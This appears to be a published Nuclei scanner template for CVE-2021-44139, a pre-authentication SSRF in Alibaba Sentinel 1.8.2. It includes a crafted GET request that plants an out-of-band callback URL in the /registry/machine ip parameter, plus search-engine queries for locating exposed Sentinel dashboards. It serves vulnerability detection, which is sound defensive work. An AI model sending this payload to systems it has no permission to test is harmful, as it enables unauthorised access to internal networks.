Alibaba Sentinel - Server-side request forgery (SSRF)

ID: CVE-2021-44139

Severity: high

Author: DhiyaneshDK

Tags: cve2021,cve,ssrf,alibaba,oast,misconfig,sentinel,hashicorp

Description

There is a Pre-Auth SSRF vulnerability in Alibaba Sentinel version 1.8.2, which allows remote unauthenticated attackers to perform SSRF attacks via the /registry/machine endpoint through the ip parameter.

YAML Source

id: CVE-2021-44139

info:
  name: Alibaba Sentinel - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: high
  description: |
    There is a Pre-Auth SSRF vulnerability in Alibaba Sentinel version 1.8.2, which allows remote unauthenticated attackers to perform SSRF attacks via the /registry/machine endpoint through the ip parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send crafted requests from the server, potentially leading to unauthorized access to internal resources or network scanning.
  remediation: |
    Apply the latest security patches or updates provided by Alibaba Sentinel to fix the SSRF vulnerability (CVE-2021-44139).
  reference:
    - https://github.com/alibaba/Sentinel/issues/2451
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-44139
    cwe-id: CWE-918
    epss-score: 0.01303
    epss-percentile: 0.85873
    cpe: cpe:2.3:a:hashicorp:sentinel:1.8.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hashicorp
    product: sentinel
    shodan-query:
      - title:"Sentinel Dashboard"
      - http.title:"sentinel dashboard"
    fofa-query: title="sentinel dashboard"
    google-query: intitle:"sentinel dashboard"
  tags: cve2021,cve,ssrf,alibaba,oast,misconfig,sentinel,hashicorp

http:
  - method: GET
    path:
      - "{{BaseURL}}/registry/machine?app={{rand_base(5)}}&appType=0&version=0&hostname={{rand_base(5)}}&ip={{interactsh-url}}&port=0"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: header
        words:
          - application/json

      - type: word
        part: body
        words:
          - '"success":true'
          - '"msg":"success"'
        condition: and
# digest: 4b0a00483046022100910e73e09601d43cb9c87f7cd3086abcc66bd69afbb6599799a1c311e546b0a7022100bb249971df17687971edb8e8cd0aed60f4a238dabfab7b6cb0b437dbdeaab565:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-44139.yaml"

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